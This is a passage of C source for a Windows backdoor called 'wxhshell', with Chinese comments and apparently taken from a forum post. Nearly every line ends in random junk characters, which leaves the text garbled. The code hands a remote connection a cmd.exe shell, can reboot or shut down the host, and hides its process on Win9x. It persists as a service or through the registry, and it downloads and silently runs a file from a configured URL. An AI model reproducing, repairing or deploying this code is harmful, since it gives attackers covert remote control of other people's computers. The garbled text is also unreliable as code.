6PMu*-Nv!j  
    switch(cmd[0]) { 58PL@H~@0  
  !*,m=*[3  
  // 帮助 2bOFH6g  
  case '?': { lt{"N'Gw6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p '=XW#2 >  
    break; $A)[s$  
  } 2'}/aL|G  
  // 安装 ]q|U0(q9  
  case 'i': { L#MMNc+  
    if(Install()) ^B(:Hv}G(:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t28 y=nv  
    else =qww|B92  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -g4 {:!*D  
    break; W'5c%SI  
    } ;@<e]Ft  
  // 卸载 KtaoU2s  
  case 'r': { {fn1sGA  
    if(Uninstall()) ohPDknHp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s 5F?m  
    else 3/CKy##r%]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eY(JU5{  
    break; Bv^5L>JZ/  
    } E<tJ8&IGk  
  // 显示 wxhshell 所在路径 =u.hHkx  
  case 'p': { (q=),3/<pU  
    char svExeFile[MAX_PATH]; wU&vkb)k  
    strcpy(svExeFile,"\n\r"); Z:>ek>Op  
      strcat(svExeFile,ExeFile); ;sY n=r  
        send(wsh,svExeFile,strlen(svExeFile),0); ;<BMgO}N  
    break; l'Uj"9r,  
    } TL: 6Pe  
  // 重启 p9~$}!ua  
  case 'b': { rC6{-42bb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1m<8M[6u  
    if(Boot(REBOOT)) @}_Wl<kn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g<Y N#  
    else { qyR}|<F8*  
    closesocket(wsh); Di &XDW/  
    ExitThread(0); Gg5+Ap D  
    } 2@|,VN V6~  
    break; "IRF^1 p  
    } hfRxZ>O2  
  // 关机 t+A9nvj)  
  case 'd': { x\K,@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >]ZW.?1h  
    if(Boot(SHUTDOWN)) VH<-||X/4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pr#uV3\  
    else { _''9-t;n,  
    closesocket(wsh);  x]~&4fp  
    ExitThread(0); nc.:Wm6Mj  
    } (E7C9U*  
    break; C\}M_MD  
    } jXYjs8Iy  
  // 获取shell N)  
  case 's': { :rEZR`  
    CmdShell(wsh); #:tC^7qk  
    closesocket(wsh); g\G}b  
    ExitThread(0); 1i@a? 27|  
    break; .FA99|:  
  } F?b"Rv  
  // 退出 xtzkgb,0[  
  case 'x': { o8N,mGj}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PyM59v  
    CloseIt(wsh); +w8$-eFY  
    break; !>EK %OO  
    } \/R $p  
  // 离开 @oQ"FLF.  
  case 'q': { _a  zJ>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q5\iQ2f{WV  
    closesocket(wsh); <l<6W-I   
    WSACleanup(); -v$ q8_$m"  
    exit(1); d^d+8R  
    break; UD ;UdehC  
        } j5rMY=|F  
  } >FqU=Q  
  } ^m-w@0^z  
- #-Bo  
  // 提示信息 X u2+TK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ku GaOO  
} a7jE*%f9  
  } e//jd&G  
k zC4V  
  return; 3;3 cTXR?=  
} g1~wg$`S8S  
%<<JWoB  
// shell模块句柄 ':]Hj8t_  
int CmdShell(SOCKET sock) Wjr^: d  
{ 5),&{k!  
STARTUPINFO si; H{1'- wB  
ZeroMemory(&si,sizeof(si)); ywA7hm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #dQFs]:F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }H|'W[Q.  
PROCESS_INFORMATION ProcessInfo; cJzkA^T9  
char cmdline[]="cmd"; (W?t'J^#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SNSHX2  
  return 0; 9(lcQuE9  
} Cng_*\=O  
Hp[i8PJ  
// 自身启动模式 F:8@ ]tA&  
int StartFromService(void) -FW^fGS+  
{ :"cKxd  
typedef struct dnkHx  
{ /z:1nq  
  DWORD ExitStatus; p!K^Q3kO  
  DWORD PebBaseAddress; g @NwW&  
  DWORD AffinityMask; wV\G$|Y  
  DWORD BasePriority; i!iG7X)qT  
  ULONG UniqueProcessId; |?TX^)  
  ULONG InheritedFromUniqueProcessId; "^wIixOH5  
}   PROCESS_BASIC_INFORMATION; `cPZsL  
bmJdZD7-<k  
PROCNTQSIP NtQueryInformationProcess; 8+H 0  
uZ'(fnZ$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wLNk XC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Hz%<V *\{  
T[MDjhv'  
  HANDLE             hProcess; U5p3b;  
  PROCESS_BASIC_INFORMATION pbi; [}l#cG6 k  
H-mQ{K^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4gZ)9ya   
  if(NULL == hInst ) return 0; WJMmt XO  
#/H Z[Vw  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t#w,G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n%Oq"`w4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v# e*RI2}  
[I/ZzDMX  
  if (!NtQueryInformationProcess) return 0; 8C@6 b4VK  
9FPqd8(]*V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3#y`6e=5  
  if(!hProcess) return 0; VCwC$ts  
ZrB(!L~7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +O^}  t  
{ SDnVV  
  CloseHandle(hProcess); |>'q%xK  
(G(M"S SC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DuLl"w\_@  
if(hProcess==NULL) return 0; 0.2stBw  
/:"^,i\t  
HMODULE hMod; ~+V$0Q;L  
char procName[255]; |~&cTDd  
unsigned long cbNeeded; 5.D0 1?k  
RxNLn/?d@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |<O^M q  
7P]i|Q{  
  CloseHandle(hProcess); Y#6LNI   
2p4iir  
if(strstr(procName,"services")) return 1; // 以服务启动 Z#D*HAd`  
<j/wK]d*/  
  return 0; // 注册表启动 ~z")';I|  
} 1Zi` \N4T  
Y*{5'q+2  
// 主模块 DLD9  
int StartWxhshell(LPSTR lpCmdLine) ,_s.amL3O{  
{ sB$ "mJ  
  SOCKET wsl; 9c[bhGD?  
BOOL val=TRUE; %oquHkX%OJ  
  int port=0;  $&1Dl  
  struct sockaddr_in door; 1$`|$V1  
U"oHPK3"TA  
  if(wscfg.ws_autoins) Install(); ,H8M.hbsQ  
yE(<F2  
port=atoi(lpCmdLine); p"- %~%J=  
salDGsW^  
if(port<=0) port=wscfg.ws_port; \RRSrPLd-  
$!TMS&Wk  
  WSADATA data; 2aX$7E?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =#[t!-@  
Y3s8@0b3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qg|ark*1u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c;!| =  
  door.sin_family = AF_INET; :RwURv+kT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =sefT@<  
  door.sin_port = htons(port); ,4 q^(  
l*huKSX}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DY{v@ <3  
closesocket(wsl); 7FD,TJs  
return 1; D:?"Rf{)  
} _MuzD&^qE  
/q,=!&f2  
  if(listen(wsl,2) == INVALID_SOCKET) { ?L H[,8z  
closesocket(wsl); m1X*I  
return 1; Iza;~8dH5  
} |T/s>OW  
  Wxhshell(wsl); uEG4^  
  WSACleanup(); ~D`R"vzw=  
'tcve2Tt  
return 0; (w\|yPBB  
(FZ8T39  
} !!8;ZcL}Z  
x]?V*Jz  
// 以NT服务方式启动 }NRt:JC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .F2"tt?'  
{ .j"heYF)  
DWORD   status = 0; Pn4jI(  
  DWORD   specificError = 0xfffffff; [eBt Dc*w  
:#_k`{WG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lUp%1x+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [;4ak)!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Pth4_]US  
  serviceStatus.dwWin32ExitCode     = 0; m=/HUt3(&0  
  serviceStatus.dwServiceSpecificExitCode = 0; *~cNUyd  
  serviceStatus.dwCheckPoint       = 0; {f*{dSm9b  
  serviceStatus.dwWaitHint       = 0; g>'6"p;  
"*V'   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fCnwDT  
  if (hServiceStatusHandle==0) return; yB=R7E7  
e6qIC*C!  
status = GetLastError(); W<[7LdAB  
  if (status!=NO_ERROR) B# .xs>{N  
{ B<h4ZK%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VkJTcC:1  
    serviceStatus.dwCheckPoint       = 0; dl |$pm@x  
    serviceStatus.dwWaitHint       = 0; kK 5~hpv  
    serviceStatus.dwWin32ExitCode     = status; 3[l\l5'm8  
    serviceStatus.dwServiceSpecificExitCode = specificError; K|6}g7&X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s>WqVuXmn  
    return; wdV)M?  
  } m7XN6zX  
cXN0D\%`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v<g#/X8  
  serviceStatus.dwCheckPoint       = 0; W?.xtQEv  
  serviceStatus.dwWaitHint       = 0; +|K,\ {'U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); glKPjL*  
} Ae2Y\sAV  
rXip"uz(K>  
// 处理NT服务事件,比如:启动、停止 KBI 1t$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z3ODZfu>  
{ t*6C?zEAU  
switch(fdwControl) 0TICv2l!  
{ ,'l.u?SKyd  
case SERVICE_CONTROL_STOP: $U. 2"  
  serviceStatus.dwWin32ExitCode = 0; $[J\sokpY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3=UufI  
  serviceStatus.dwCheckPoint   = 0; ^<v.=7cL0  
  serviceStatus.dwWaitHint     = 0; akHQ&+[j  
  { T:CWxusL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ilQ\+xR{b  
  } q?L*Luu+  
  return; OT)`)PZ"  
case SERVICE_CONTROL_PAUSE: fg1uqS1rg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5VfpeA `  
  break; v{\~>1J{  
case SERVICE_CONTROL_CONTINUE: (.{."  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; uHDUuK:Ur  
  break; 0{?%"t\/f  
case SERVICE_CONTROL_INTERROGATE: (ueH@A"9;  
  break; 3z8zZ1uzU  
}; CyB1`&G>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >S?7-2X  
} W$Aypy  
:n x;~f  
// 标准应用程序主函数 u9+)jN<Yh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (hv}K*c{  
{ x}reeqn  
sn@)L~$V  
// 获取操作系统版本 xrJ0  
OsIsNt=GetOsVer(); rj5)b:c}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); BTE&7/i 21  
G0ENk|wbbj  
  // 从命令行安装 >v%UV:7ap  
  if(strpbrk(lpCmdLine,"iI")) Install(); mj y+_  
V<REcII.  
  // 下载执行文件 Yc(lY N  
if(wscfg.ws_downexe) { 6|%HCxWO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]d&;QZ#w  
  WinExec(wscfg.ws_filenam,SW_HIDE); qZSW5lC0  
} +6Vu]96=KC  
Aq/wa6^%  
if(!OsIsNt) { 9x9E+DG#(  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^}GR!990  
HideProc(); a+\s0Qo<  
StartWxhshell(lpCmdLine); )#Y:Bj7H@2  
} s|"4!{It  
else %E2C4UbY  
  if(StartFromService())  HYg7B  
  // 以服务方式启动 @;d7#!:cE  
  StartServiceCtrlDispatcher(DispatchTable); @{880 5Dp  
else a3(f\MM xE  
  // 普通方式启动 ;nf}O87~  
  StartWxhshell(lpCmdLine); 2f-Or/v  
k${F7I(Tb  
return 0; 9, 792b  
}
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只看该作者 1 发表于: 2006-10-10
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